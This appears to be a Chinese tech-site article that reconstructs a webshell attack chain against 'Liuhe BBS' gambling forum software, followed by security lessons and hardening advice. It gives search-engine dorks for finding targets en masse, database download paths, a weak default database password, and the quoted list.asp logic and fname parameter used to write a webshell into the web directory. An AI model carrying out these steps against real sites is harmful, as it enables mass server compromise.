萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

Webshell 滅頂打擊:六合彩論壇數據庫內置 ASP 木馬實戰溯源

攻擊鏈復現:從搜索引擎到後台拿 Shell

作者展示如何利用搜索引擎批量定位「六合專用 BBS」站點,下載數據庫,破解密碼,發現數據庫表中內置 ASP Webshell,進而通過邏輯漏洞寫入可控木馬,最終獲取服務器控制權。全過程揭示了低門檻建站系統的系統性風險。

攻擊步驟拆解

  1. 資產發現:百度搜索 六合專用BBS v1.0/v2.0/v3.0 → ~23,000 結果。批量採集域名。
  2. 數據庫下載:工具 Domain2.2.exe + SearchPage.txt 添加 /fdnews.asp、/bbs/fdnews.asp 路徑掃描,下載數據庫文件(.mdb/.asp)。
  3. 密碼破解:數據庫密碼弱(newbbs.cn88),MD5 破解工具 (MD5Crack 2.3) 秒出管理員帳號密碼。
  4. 發現內置 Webshell:打開數據庫 zl 表 idto 字段,赫然發現完整 ASP 木馬代碼(可列目錄、讀寫文件、執行命令)。木馬出生時間早於「海洋頂端 2003」,屬 ASP 木馬鼻祖級。
  5. 木馬無法直接執行:直接訪問數據庫 .asp 文件,代碼未被解析執行(數據庫文件未在 Web 目錄或無執行權限),屬「死馬」。
  6. 挖掘寫入邏輯漏洞:分析 list.asp 發現關鍵代碼片段:
    if len(page)>6 then
    if md5(md5(page))="8f9fc56c3d174202" then
      fname = sPP & "pags.asp"
      Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
      Set objCountFile = objFSO.CreateTextFile(fname, True)
      objCountFile.Write "" & idto & ""
      objCountFile.Close
      ...
    end if
    idto 即數據庫中木馬字段,pags.asp 為寫入目標文件名。構造請求滿足 md5(md5(page)) 条件即可觸發寫入。
  7. 實戰觸發寫入:提交 ?fname=D:\ky8888\bbs\haotian.asp 指定寫入路徑,配合木馬內容,成功在 Web 目錄生成可執行的 haotian.asp Webshell。
  8. 驗證與擴展:因目標空間不支持 FSO,作者將數據庫木馬復制到友商 ASP 空間演示,確認寫入成功。嘗試其他六合彩站點未發現 pags.asp,推測版本差異或邏輯變體。

安全啟示:低代碼/開源建站系統的系統性風險

  • 數據庫即代碼倉庫:將可執行代碼存入數據庫字段,且前端存在動態寫入文件邏輯,極高風險。
  • 弱口令+默認路徑+已知漏洞:三重疊加導致批量陷落。
  • FSO 權限過大:Web 應用池身份若擁有寫入權限,一旦注入/邏輯漏洞即可落地木馬。
  • 打擊產業鏈:此類賭博/灰產站點往往托管在抗投訴服務器,需配合域名註冊商、IDC、支付通道多方聯動治理。

防禦建議

  1. 嚴格限制 Web 目錄寫入權限(原則:只讀,極少數上傳目錄除外並禁用腳本執行)。
  2. 數據庫與 Web 服務器分離,最小權限連接串,禁止 SA/高權限賬號直連。
  3. 部署 WAF/RASP 監控異常文件寫入、SQL 注入、可疑參數(如 fname 指向可執行後綴)。
  4. 定期掃描 Web 目錄異常文件(近期創建、異常後綴、熵值高)。
  5. 避免使用未經安全審計的開源/盜版建站程序。
copyright © 萬盛學電腦網 all rights reserved